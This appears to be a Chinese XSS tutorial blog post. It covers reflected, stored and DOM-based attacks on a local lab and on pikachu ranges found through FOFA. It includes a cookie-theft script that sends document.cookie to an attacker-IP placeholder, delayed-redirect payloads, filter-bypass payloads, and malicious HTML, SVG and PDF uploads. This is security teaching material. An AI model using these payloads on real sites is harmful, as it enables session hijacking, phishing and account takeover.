XSS跨站脚本攻击

一、XSS(跨站脚本攻击)

💡

什么是XSS?

跨站脚本攻击(Cross Site Scripting)是一种安全漏洞,攻击者利用这个漏洞可以在受害者的浏览器中注入恶意脚本。这些脚本可以访问用户的敏感信息(如Cookie、Session令牌等),或者进行其他恶意操作,如篡改网页内容、伪装成用户进行操作等。

由于CSS(层叠样式表)的广泛使用和避免混淆,跨站脚本攻击被简称为XSS。

XSS 危害

窃取Cookie :冒充用户身份进行登录或其他操作,盗取各类用户账号,包括但不限于机器登录帐号、用户网银帐号、各类管理员帐号等。进而读取、篡改、添加、删除企业敏感数据。

钓鱼攻击:通过篡改页面内容伪造登录表单,骗取用户账号密码。

键盘记录:注入脚本记录用户键盘输入,获取敏感信息。

靶场搭建

部署靶场:

首先打开新版phpStudy !!! 注意是新版

打开新版phpStudy安装路径下,默认网站的根目录,目录名字一般是WWW

新建靶场文件夹xss_test

将刚刚下载的靶场代码放置在靶场文件夹xss_test中

然后测试访问test01和test02

反射型靶场: http://localhost/xss_test/test01.php

DOM 型靶场: http://localhost/xss_test/test02.php

二、反射型与存储型(以及DOM型)XSS

**XSS攻击主要可以分为三种类型:反射型、存储型和DOM型。每种类型在攻击方式和防护策略上有所不同。**很容易混淆的是反射和 dom 类型。

如何判断网站是否有xss漏洞?

最简单的就是执行javascript弹出代码,若成功弹出说明网站对于JavaScript代码没有过滤(弹窗(恶意代码)在当前页面执行说明该页面为回显点),

反射型回显点一般就是请求提交后的响应页面,但是存储型并非能直接响应(如在评论中写入恶意代码,但是xss却在管理员在管理后台时才触发,管理后台则是存在xss漏洞,这种预先注入payload的方式叫做----xss盲打)

1、反射型XSS(Non-Persistent XSS)

反射型 XSS 攻击是指攻击者将恶意脚本作为参数嵌入到 URL 中,当用户访问该恶意 URL 时,服务器会直接将恶意脚本作为响应内容返回给浏览器,浏览器解析并执行其中的恶意脚本。这种攻击的特点是攻击代码不会被存储在服务器端,只是在请求和响应的过程中被临时反射回来。

例如,一个搜索页面接收用户输入的关键词并显示在页面上,攻击者构造一个包含恶意脚本的搜索 URL,用户点击该 URL 后,服务器将恶意脚本作为搜索结果返回给用户浏览器执行。

**数据流向:**反射型 XSS 的数据流转依赖于服务器。攻击者将恶意脚本作为参数嵌入 URL 发送给服务器,服务器接收到请求后,未对输入进行有效过滤,直接将包含恶意脚本的内容反射在响应页面中返回给浏览器,浏览器解析并执行其中的恶意脚本。

**关键特征:**攻击的实现依赖服务器对输入的处理和响应,恶意脚本在服务器端和客户端之间进行了传输和反射。

**如何防御?**服务器接收到请求后,对输入进行有效过滤(由开发人员实现)。

线上靶场案例(演示如何检测是否有漏洞):

https://fofa.info/ 搜索以下内容

复制代码
body="pikachu" && country="CN" && title="Get the pikachu"

进入此地址

发现练习平台输入框不让输入过多字符,但是可用直接修改请求 URL,植入js代码

本地靶场案例(了解xss漏洞的危害):

弹窗
  • 攻击原理:当用户在输入框中输入上述代码并提交后,由于页面直接将输入内容显示在 HTML 中,浏览器会将其解析为 JavaScript 代码并执行,弹出一个包含指定信息的警告框。

  • 攻击代码:<script>alert('你被攻击啦!')</script>

  • 普通访问: http://ip地址/xss_test/test01.php

  • xss访问:

  • 长连接可以通过一些方式转成短链接,比如通过: https://t.doruo.cn/

复制代码
<script>alert('你被攻击啦!')</script>
​
修改页面内容
  • 攻击原理:该脚本会将页面的整个 body 内容替换为一个 <h1> 标签,显示 "页面已被篡改!",从而改变了页面的原有显示内容。

  • 攻击代码:

复制代码
<script>
    document.body.innerHTML = '<h1>页面已被篡改!</h1>';
</script>
​
​
​
document 整个html文档的顶部  
body身体标签   
innerHTML 身体标签里面的文字  

POST请求 了解

使用BP抓包,可以在请求体里面 传入 js代码

反射型攻击总结:

2、存储型XSS

**特点:**攻击脚本被永久地存储在服务器上,如用户留言板、评论区等。每当其他用户访问包含恶意脚本的页面时,脚本都会被执行。

**示例:**攻击者在某个博客的评论区留下包含JavaScript代码的评论,每当其他用户访问该评论时,恶意脚本都会被执行。

**防护:**对所有存储到服务器的数据进行适当的编码和转义,确保在输出到HTML页面时不会被浏览器解释为可执行脚本。

案例:用户在访问博客,留言板的时候就会触发

复制代码
<script>alert('bh666')</script>

案例:xss之盲打

盲打 XSS 通常发生在攻击者输入的恶意脚本会被发送到后端存储(如数据库),并在后续被其他用户(通常是管理员或特定权限用户)访问的页面中执行。但与常规存储型 XSS 不同,攻击者无法直接访问脚本执行的页面,因此看不到攻击效果,只能通过间接方式(如外带数据)确认攻击成功。

登录后台

窃取cookie有什么用?

cookie相当于一个身份证 有了管理员的cookie我们不需要帐号密码就可以登陆,cookie是存在客户端

  • 攻击原理:此脚本会创建一个 XMLHttpRequest 对象,向攻击者的服务器(http://attacker.com/cookie.php)发送一个 GET 请求,将用户的 cookie 信息作为参数传递过去。攻击者可以在自己的服务器上记录这些 cookie 信息,利用这些 cookie 冒充用户登录相关网站。

用户访问:http://ip地址/xss_test/login_xss.php

攻击者在自己的服务器搭建一个页面

http://攻击者服务器地址/cookie_steal.php

留言板功能存在存储型XSS漏洞

因此我们可以构造payload

复制代码
<script>
// 窃取Cookie并发送到攻击者服务器
var cookie = document.cookie; // 读取所有Cookie
var attackerUrl = 'http://攻击者ip:81/cookie_steal.php?cookie=' + encodeURIComponent(cookie);
// 用img标签发起请求(无跨域限制,隐蔽性高)
var img = new Image();
img.src = attackerUrl;
</script>

攻击者服务器当中就会保存cookie信息

根据cookie信息实现免密登录网站

配合文件上传
HTML-XSS、SVG-XSS、PDF-XSS

如果对方的网站存在文件上传功能,那么我们先尝试一手html文件,html文件上传相对来讲常见点,并且一般要是能够上传html文件成功

html恶意弹窗代码如下:

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>alert('666')</script>
</body>
</html>

如果上传成功,可以看到上传的html文件的url路径,下面尝试访问下这个路径,看看里面的html恶意弹窗代码会不会执行

上传svg恶意文件也是一样的,SVG,可缩放矢量图形(Scalable Vector Graphics),是一种用于描述二维图形的 XML 标记语言。与位图图像不同,SVG 图像以文本形式存储,并且可以缩放到任意大小而不会失真,因为它们基于数学描述而不是像素。并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

SVG恶意弹窗代码如下

复制代码
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg t="1765626292482" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="1115" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><path d="M853.333333 408.896v400c0 24.533333-19.093333 44.437333-42.666666 44.437333H42.666667c-23.573333 0-42.666667-19.904-42.666667-44.437333v-453.333333h853.333333v53.333333z m0-117.333333H0V42.666667a42.666667 42.666667 0 0 1 42.666667-42.666667h316.330666l85.333334 85.333333H810.666667a42.666667 42.666667 0 0 1 42.666666 42.666667v163.562667z" fill="#34BFFB" p-id="1116"></path><path d="M86.698667 458.56a57.237333 57.237333 0 1 0 99.2 57.173333 57.237333 57.237333 0 0 0-99.2-57.173333z" fill="#FFFFFF" p-id="1117"></path><path d="M290.304 458.56a57.237333 57.237333 0 1 0 99.2 57.173333 57.237333 57.237333 0 0 0-99.2-57.173333z" fill="#FFFFFF" opacity=".8" p-id="1118"></path><path d="M1024 672.661333v148.010667c0 11.84-10.496 22.186667-22.485333 22.186667h-43.477334a203.2 203.2 0 0 1-20.992 35.52l22.485334 37.013333c2.986667 4.437333 4.501333 11.84 1.493333 16.277333-1.493333 5.909333-5.973333 10.346667-10.474667 13.312l-130.432 74.005334c-2.986667 1.472-7.488 2.944-11.989333 2.944-1.493333 0-4.48 0-5.994667-1.472-5.994667-1.493333-10.496-5.909333-13.482666-10.368l-22.485334-36.992c-14.997333 1.493333-26.986667 1.493333-41.984 0l-20.992 39.957333c-2.986667 4.437333-7.488 8.874667-13.482666 10.368a21.034667 21.034667 0 0 1-16.490667-2.965333l-130.432-74.005334c-4.48-2.944-8.981333-7.381333-10.496-13.312-1.493333-5.909333 0-11.84 1.493333-16.277333l22.506667-36.992c-7.509333-11.84-14.997333-23.68-20.992-35.52h-43.477333c-11.989333 0-22.485333-10.368-22.485334-22.208v-149.482667c0-11.84 10.496-22.186667 22.485334-22.186666h43.477333c5.994667-13.333333 13.482667-25.173333 20.992-35.52l-22.485333-37.013334c-2.986667-4.437333-4.501333-11.84-1.493334-16.277333 1.493333-7.402667 5.973333-11.84 10.474667-14.784l130.432-74.005333c4.48-2.965333 11.989333-4.437333 16.490667-2.965334 5.973333 1.493333 10.496 5.930667 13.482666 10.368l22.485334 36.992a198.976 198.976 0 0 1 41.984 0l22.485333-36.992c2.986667-4.437333 7.488-8.874667 13.482667-10.368s11.989333 0 16.490666 2.965334l130.432 74.005333c4.48 2.944 8.981333 7.381333 10.496 13.312 1.493333 5.909333 0 11.84-1.493333 16.277333l-22.506667 36.992c7.509333 11.84 14.997333 23.68 20.992 35.52h43.477334c11.989333 1.493333 22.485333 11.84 22.485333 23.68z" fill="#02CE8A" p-id="1119"></path><path d="M820.117333 472.874667l33.216 18.837333v317.184c0 24.533333-19.093333 44.437333-42.666666 44.437333H540.117333c-1.685333-2.986667-3.306667-5.973333-4.821333-8.981333h-43.477333c-11.989333 0-22.485333-10.368-22.485334-22.208v-149.482667c0-11.84 10.496-22.186667 22.485334-22.186666h43.477333c5.994667-13.333333 13.482667-25.173333 20.992-35.52l-22.485333-37.013334c-2.986667-4.437333-4.501333-11.84-1.493334-16.277333 1.493333-7.402667 5.973333-11.84 10.474667-14.784l130.432-74.005333c4.48-2.965333 11.989333-4.437333 16.490667-2.965334 5.973333 1.493333 10.496 5.930667 13.482666 10.368l22.485334 36.992a198.976 198.976 0 0 1 41.984 0l22.485333-36.992c2.986667-4.437333 7.488-8.874667 13.482667-10.368s11.989333 0 16.490666 2.965334z" fill="#009A88" p-id="1120"></path><path d="M859.093333 746.666667c0-60.672-50.965333-110.997333-112.426666-110.997334S634.24 685.994667 634.24 746.666667c0 60.672 50.965333 110.997333 112.426667 110.997333s112.426667-50.325333 112.426666-110.997333z" fill="#FFFFFF" p-id="1121"></path><path d="M814.122667 746.666667c0 36.992-29.973333 66.602667-67.456 66.602666S679.210667 783.658667 679.210667 746.666667s29.973333-66.602667 67.456-66.602667 67.456 29.610667 67.456 66.602667z" fill="#009A88" p-id="1122"></path><script>alert(1)</script></svg>

制作pdf弹窗木马

pdf编辑器下载地址如下:https://www.xunjiepdf.com/editor

1、创建PDF

2、加入js动作

3、保存,浏览器访问触发

存储型xss攻击总结:

攻击数据存储在服务器,攻击一直持续下去,危害比反射大

3、DOM型XSS(了解即可,少见)

**特点:**DOM型XSS的攻击脚本不需要服务器参与,而是直接通过修改页面的DOM结构来执行恶意脚本。

**示例:**攻击者利用JavaScript的某些特性来修改页面内容或执行脚本。

**防护:**对客户端JavaScript代码进行严格的审查和测试,确保不会受到DOM型XSS的攻击。同时,使用现代Web框架和库中的安全措施(如内容安全策略CSP)也可以提高防护能力。

注意:虽然反射型和DOM型XSS在概念上有所不同,但在实际防护中,很多策略是相通的,如验证和清理用户输入、使用安全的输出编码方法等。

如何检测是否存在dom漏洞?

  • 攻击代码:
复制代码
javascript:alert(1)
#' οnclick="alert(1)"
  • 攻击代码可以植入代表当前网址有dom漏洞

  • 分析一下前端网页代码,可以发现输入框里的参数会被传递给A标签的href属性

什么是dom理解、dom漏洞危害案例:

恶意代码:

用户在输入框中输入以下恶意代码,或者是url中加入以下恶意代码:

复制代码
alert('你已被攻击!'); window.location.href = 'https://www.baidu.com/';
alert('你已被攻击!'); window.location.replace('https://www.baidu.com/');
// window.location.replace 和 window.location.href 的区别在于,replace 方法会用新的页面替换当前页面的历史记录,用户无法通过浏览器的 “后退” 按钮回到原页面。

点击 "更新内容" 按钮后,页面会先弹出提示框,然后使用 href方法 或者 replace 方法跳转到恶意网站 。

**掩饰攻击:**为了避免用户立即察觉,也可以使用 setTimeout 函数延迟5000 毫秒(即 5 秒)后将页面跳转到一个正常的网站。

复制代码
setTimeout(function() {
    alert('你已被黑客攻击!即将跳转新操作网站!');
    window.location.href = 'https://www.baidu.com';
}, 5000);

通过dom漏洞,用户可以在url中植入恶意代码实现修改页面dom:

上述案例获取的dom型xss攻击长链接如下:

复制代码
http://localhost/xss_test/test02.php?input=setTimeout(function() {
    alert('你已被黑客攻击!即将跳转新操作网站!');
    window.location.href = 'https://www.baidu.com';
}, 5000);
​
https://t.doruo.cn/1Mzxn68Jq
  • dom型xss攻击总结:

DOM 型与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端

三、扩展

xss之过滤

script关键字被过滤,换个其他的标签就可以了,换个img标签,代码如下

复制代码
<img src=1 οnerrοr=alert(1)>
img 标签的 onerror 属性是一个事件处理器,用于在图片加载失败时触发指定的 JavaScript 代码。
​

xss之htmlspecialchars

htmlspecialchars是php的一个函数,可以输入和返回一个字符串。

复制代码
<?php
echo htmlspecialchars("<script>");
?>
&lt;script&gt;  很明显是把 < > 转义了。

输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了

也可以'onclick='alert(1)'

xss之href输出:

这一题也是 ' 被转义了

那么xss语句为:javascript:alert(1),就可以绕过了

xss之js输出:

输入框输入 <script>alert(1)</script> 页面毫无变化。

查看源码

复制代码
<script>
​
$ms='<script>alert(1)</script>';
​
//输入的字符变成了变量,我们构造一下
​
//$ms='';
​
//$ms='';alert(1);//'; //这样子即可
​
// payload ';alert(1);//
​
if($ms.length != 0){
​
if($ms == 'tmac'){
​
$('#fromjs').text('tmac确实厉害,看那小眼神..')
​
}else {
​
// alert($ms);
​
$('#fromjs').text('无论如何不要放弃心中所爱..')
​
}
​
}
</script>
​

输入';alert(1);//成功

四、XSS漏洞挖掘思路

一、确定潜在输入点(用户可控数据)

XSS 漏洞的本质是 "用户输入未被过滤就输出到页面",因此首先要找出所有用户能控制的输入位置:

常见输入场景

  • 表单提交(文本框、搜索框、评论区等)

  • URL 参数(QueryString,如?name=xxx

  • HTTP 头(如 Referer、User-Agent、Cookie 等,服务器可能将其回显到页面)

  • 文件上传(文件名、文件内容可能被解析为 HTML)

  • 第三方数据(如嵌入的评论、社交分享内容等)

二、构造测试 Payload(验证输出点)

对每个输入点注入测试脚本,观察是否能执行,核心是让输入内容被浏览器识别为脚本代码。常用 Payload 分类:

  1. 基础脚本 Payload(检测是否有未过滤的输出):

    • 简单脚本:<script>alert(1)</script><script>console.log(1)</script>

    • 事件触发:<img src=x onerror=alert(1)><a href="javascript:alert(1)">点击</a>

    • 变形脚本(绕过基础过滤):

      • 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

      • 空格 / 特殊字符:<script >alert(1)</script >

  2. 场景化 Payload(针对不同输出位置):

    • 输出在 HTML 标签内:<img src=1 onerror=alert(1)>(利用标签事件)

    • 输出在属性值中:" onclick="alert(1)(闭合属性并注入事件)

    • 输出在 JS 代码中:";alert(1);//(闭合字符串并插入脚本)

    • 输出在 URL 参数(href/src):javascript:alert(1)(伪协议执行)

三、分析输出位置与过滤规则

输入的 Payload 若未执行,需分析输出位置和过滤逻辑,针对性调整:

  1. 判断输出位置

    • 查看页面源码,确认输入内容被输出到 HTML 标签内、属性中、JS 代码中还是 CSS 里(不同位置适用的 Payload 不同)。

    • 例:若输出在<div class="xxx">用户输入</div>中,可尝试注入<script>标签;若输出在<input value="用户输入">中,需用" onclick=alert(1)闭合属性。

  2. 识别过滤规则

    • <script>被过滤,尝试事件触发(onerroronclick)或伪协议(javascript:)。

    • alert被过滤,替换为confirmpromptconsole.log

    • 若尖括号<>被过滤,尝试不依赖标签的 Payload(如javascript:伪协议)。

    • 若双引号被过滤,用单引号'

四、验证与确认

确认漏洞可利用性

  • alert(1)执行,说明存在 XSS;进一步测试是否能获取 Cookie(document.cookie)、劫持用户操作等。

  • 区分反射型(输入随请求参数回显)、存储型(输入被存入数据库,每次访问都触发)、DOM 型(仅前端 JS 处理导致)。

相关推荐
终极前端开发协会2 小时前
【web前端 - 齐枭飞】乾坤【qiankun】应用,主项目与子项目交互详细代码,里面有详细代码,可直接粘贴过去 直接应用 ,
前端·前端框架·交互
闲蛋小超人笑嘻嘻2 小时前
localStorage用法详解
前端
Swift社区2 小时前
用 RN 的渲染模型,反推 Vue 列表的正确拆分方式
前端·javascript·vue.js
Mr_chiu2 小时前
微前端从入门到精通:Vue开发者的大型应用架构演进指南
前端·架构
Violet_YSWY2 小时前
Vue-Pinia defineStore 语法结构
前端·javascript·vue.js
全栈陈序员2 小时前
v-if 和 v-for 的优先级是什么?
前端·javascript·vue.js·学习·前端框架·ecmascript
xinyu_Jina2 小时前
Info Flow:大规模列表渲染中的UI虚拟化、数据懒-加载与前端性能工程
前端·ui
GISer_Jing2 小时前
JD AI全景:未来三年带动形成万亿规模的人工智能生态
前端·人工智能·aigc
全栈陈序员2 小时前
你对 SPA 单页面应用的理解?它的优缺点分别是什么?如何实现 SPA 应用?
前端·vue.js·学习·前端框架·vue